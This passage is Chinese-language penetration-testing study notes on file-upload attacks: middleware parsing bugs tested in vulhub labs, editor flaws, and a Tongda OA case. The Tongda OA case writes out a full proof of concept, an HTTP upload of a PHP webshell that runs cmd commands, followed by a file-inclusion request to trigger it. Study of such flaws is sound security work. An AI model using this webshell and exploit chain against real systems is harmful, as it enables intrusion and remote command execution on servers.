思维导图
当我们拿到一个站点去测试的时候,根据数据包或指纹信息等信息,首先获取网站使用的中间件信息,判断中间件有无解析漏洞,是否可以直接利用。
利用字典扫描、或者会员中心找到,有可能存在文件上传的上传点,而后测试 绕过/验证,根据实际情况判断是白名单、黑名单还是基于内容其他的绕过,文件上传搭配解析漏洞,是否能够上传后门,拿到权限。
再或者知道网站何种CMS,网上搜索否存在漏洞,能否利用。
或者判断网站是否使用第三方编辑器(字典扫描,会员中心,后台),可以寻找编辑器的漏洞进行突破。
再者也可以找是否存在CVE编号漏洞,并且进行利用。
都没有那可能就是没有文件上传漏洞!
演示案例:
几种中间件解析漏洞简要演示
Apache 解析漏洞-低版本
phpinfo.php.xxx 实际内容
Apache 配置安全–vulhub
Apache 换行解析-vulhub
Vulhub - Docker-Compose file for vulnerability environment
漏洞复现
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A
将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
上传一个名为1.php的文件,被拦截:
在1.php后面插入一个\x0A
(注意,不能是\x0D\x0A
,只能是一个\x0A
),不再拦截:
访问刚才上传的/1.php%0a
,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:
很鸡肋
Nginx 解析漏洞-vulhub
Vulhub - Docker-Compose file for vulnerability environment
Nginx 文件名逻辑-vulhub
Vulhub - Docker-Compose file for vulnerability environment
参考web中间件常见漏洞总结.pdf
链接:https://pan.baidu.com/s/1vZHhhsCQVlmPlvUuYmgbvw?pwd=0a3d
提取码:0a3dIIS6/7 简要说明-本地搭建
几种常见 WEB 编辑器简要演示
Fckeditor exp 利用
ueditor 漏洞利用
UEditor .Net版本任意文件上传漏洞复现总结 - 知乎 (zhihu.com)
几种常见 CMS 文件上传简要演示
通达 OA 系统
https://pan.baidu.com/share/init?surl=5gcdBuOFrN1F9xVN7Q7GS
A enqx
任意命令执行漏洞
路径为:ispirit/im/upload.php
抓包构造POC:
POST /ispirit/im/upload.php HTTP/1.1
Host: localhost:999
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 660
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
上传成功;上传成功后访问文件包含路径/ispirit/interface/geteway.php
burp抓包构造数据包:
POST /ispirit/interface/geteway.php HTTP/1.1
Host: localhost:81
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2203/1915126119.jpg"}&cmd=whoami
按着帖子,后面一步老没有指定输入文件 ,不知道啥情况!
通达OA文件上传+文件包含漏洞 - 终落 - 博客园 (cnblogs.com)
贴近实际应用下的以上知识点演示
判断中间件平台,编辑器类型或 CMS 名称进行测试